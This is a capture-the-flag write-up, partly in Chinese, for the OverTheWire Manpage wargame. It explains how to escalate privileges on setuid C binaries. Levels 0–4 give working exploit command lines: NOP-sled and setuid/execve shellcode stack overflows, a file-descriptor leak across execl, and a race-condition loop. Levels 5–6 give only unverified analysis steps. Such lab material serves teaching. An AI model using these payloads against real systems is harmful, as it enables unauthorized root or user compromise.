OverTheWire - Manpage
manpage
manpage.labs.overthewire.org 2224
level 0 → level 1
1 | SSH Information |
Manpage: 7 levels. About breaking common Linux C-programming misconceptions. Read manpages for pitfalls and unusual behavior. 当前 draft 里的旧 passwords 已 live 验证失效,因此只保留分析路径,未重新拿到 password 的 level 不写 spoiler。
Level 0: Basic reverse engineering — setuid( getuid() ) strips privs after strcpy overflow. Need to restore euid via setuid shellcode before spawning /bin/sh. Level 1: signal(SIGTERM, SIG_IGN) bypass — program raises SIGTERM on overflow. Use wrapper with signal handler to ignore it. Level 2: Open file descriptor leaking — program doesn't close PWFILE before execl restart. Exploit argv[0] + fd 3 to read the password file. Level 3: Race condition / ulimit trick on fopen — manpage3-reset writes random password to a file. Race it or exhaust file descriptors to make it write an empty string. Level 4: Buffer overflow via game logic (Hunt the Wumpus). Seed finding + environment shellcode. Find correct seed (e.g., 22) for guessing game, then overflow log_winner buffer (sprintf) to overwrite return address. Shellcode stored in env var SC. EIP overwrite with env var address. Level 5-6: Further exploitation (not yet documented).
General approach: read manpages carefully, look for edge cases in C functions (printf, sprintf, gets, system, fopen, execl, etc.), analyze setuid binaries.
Tools: gdb, python3/pwntools, objdump, man, nasm.
Level 0 → Level 1
Source code of /manpage/manpage0:
1 |
|
Classic buffer overflow. The catch: setuid(getuid())
drops privileges to the real user (manpage0) before we gain control. We
need to restore the effective uid back to manpage1 before spawning a
shell.
First get setuid shellcode. The uid of manpage1 is 17001 (0x4269):
1 | $ cat setuid.asm |
Shellcode:
\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80
The buffer is 256 bytes, need 260 bytes to control EIP (4 more for saved EBP). Payload: NOP sled + setuid shellcode + /bin/sh shellcode + padding + return address pointing to NOP sled in buf.
1 | manpage0@manpage:~$ /manpage/manpage0 $(python -c 'print("\x90"*100+"\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"A"*120+"\xd8\xd4\xff\xff")') |
Level 1 → Level 2
Source code:
1 |
|
If we overflow the buffer, raise(SIGTERM) kills us. Need
to call signal(SIGTERM, SIG_IGN) before invoking the binary
to ignore the signal.
Write a wrapper:
1 |
|
Compile and run with overflow payload (260 bytes padding, same layout as level 0 but no setuid needed since signal is ignored before the program runs):
1 | manpage1@manpage:~$ ./pwn $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"A"*132+"\x48\xdc\xff\xff")') |
Level 2 → Level 3
Source code of /manpage/manpage2:
1 |
|
Key insight: the file PWFILE is opened with
fopen() but never closed before
execl. The file descriptor (fd 3) remains open across exec.
By making argv[0] point to our own program,
execl runs our code instead, and we can read fd 3 to get
the password.
Create pwn (the fd reader):
1 |
|
Create wrapper to set argv[0] to our program:
1 |
|
Compile both. When manpage2 calls
execl(argv[0], ...), it runs ./pwn which reads
the open file descriptor 3.
Level 3 → Level 4
Two binaries: manpage3 and
manpage3-reset.
manpage3:
1 |
|
manpage3-reset:
1 | /* reset-password */ |
The password file is 256 random bytes. Two approaches:
Method 1: Race condition. Run
manpage3-reset in a tight loop. When
fopen(PASS_PATH, "w") truncates the file but before
fwrite() writes the random data, there's a window where the
file is empty. If manpage3 reads during that window, buf2
is empty, and sending an empty input (Ctrl-D) matches.
1 | manpage3@manpage:~$ while [ 1 ]; do /manpage/manpage3-reset; done & |
Method 2: Exhaust file descriptors. Use
ulimit -n to check the maximum open files (usually 1024).
Open many files to exhaust the limit so
fopen("/dev/urandom", "r") fails and fread
reads nothing (writes empty data).
1 |
|
After manpage3-reset writes empty data, run
manpage3 and send empty input.
Level 4 → Level 5
This is "Hunt the Wumpus" game with a modified
log_winner function added (see manpage4.diff).
Buffer overflow via sprintf in log_winner.
Key details from the diff:
1 | void log_winner() |
sscanf limits to 100 chars each, but the input buffer
inp from getnum (2048 bytes) overlaps with the
stack frame of log_winner. The inp buffer at
0xffffce8c to 0xffffd688 can be used to set
lastname content since lastname is at
0xffffd3a4 — within inp's range.
Strategy: 1. Find seed where shooting room 1 wins the game (seed =
22). 2. Use the room number input to write shellcode location into
lastname (which lives in the old inp buffer
area). 3. In log_winner, sprintf overflows
buf via lastname (which now contains our long
padding + return address). 4. Overwrite EIP to point to env var
SC containing shellcode.
1 | manpage4@manpage:~$ export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') |
Find seed:
1 | from pwn import * |
Exploit:
1 | (python -c 'print("N\nS\n1\n"+"1"+"A"*1303+"A"*209+"\x04\xdf\xff\xff\n"+"CCCC\n")'; cat) | /manpage/manpage4 -s 22 |
Calculation: inp is at 0xffffce8c,
lastname is at 0xffffd3a4. Difference = 1304
bytes. First "1" is 1 byte, so 1303 bytes padding from the room number
input. In sprintf, ctime output (25) + space +
"firstname:" (10) + "CCCC" (4) + " lastname: " (11) = 51 bytes, plus 209
bytes from lastname padding = 260 bytes, overwriting return
address on the nose. Next 4 bytes = address of env var SC.
Level 5 → Level 6
这一关目前没有 live verified 解法。公开资料对 Manpage 5/6 极少,且有些页面只泄露密码而不解释漏洞;这种内容不适合写进 writeup。
可确认的下一步并非沿用旧 payload,而是先拿到当前
/manpage/manpage5 的行为证据:
1 | file /manpage/manpage5 |
优先检查这些点:
- 是否仍是 32-bit setuid binary,以及有没有 NX / canary / RELRO。
- 是否继承环境变量、文件描述符或当前目录里的可控文件。
- 是否存在资源耗尽路径,例如
malloc/fopen/fork/exec失败后的错误处理。 - 是否调用
man/ pager / shell helper,可能引入MANPATH、PAGER、LESSOPEN、PATH等环境变量攻击面。 - 如果 binary 只能执行不能读取,就用
strace/ltrace/gdb先做黑盒行为建模,再根据崩溃点反推输入结构。
当前结论:blocked by missing live verification。拿到
manpage5 权限后再补完整漏洞链和 exploit,不写未验证
spoiler。
Level 6 → Level 7
这一关同样没有 live verified 解法。Manpage 6 的公开信息比前几关更少,不能把旧站点上的密码或不完整提示当作解题过程。
按下面的最小复现流程复现:
1 | id |
如果程序是 exec-only,仍然可以先从行为侧分析:
- 枚举参数数量、超长参数、空环境、长环境变量、特殊文件名、软链接和 FIFO。
- 观察 open/read/write/execve/setuid/setresuid 调用序列。
- 用
ulimit做资源限制实验,检查分配/打开文件失败路径。 - 若有崩溃,再用 core/gdb 定位可控寄存器、返回地址或函数指针。
- 最后只在 live shell 中验证读取
/etc/manpage_pass/manpage7,再补 spoiler。
当前结论:blocked by missing live verification。这里保留研究路线,不伪造完成状态。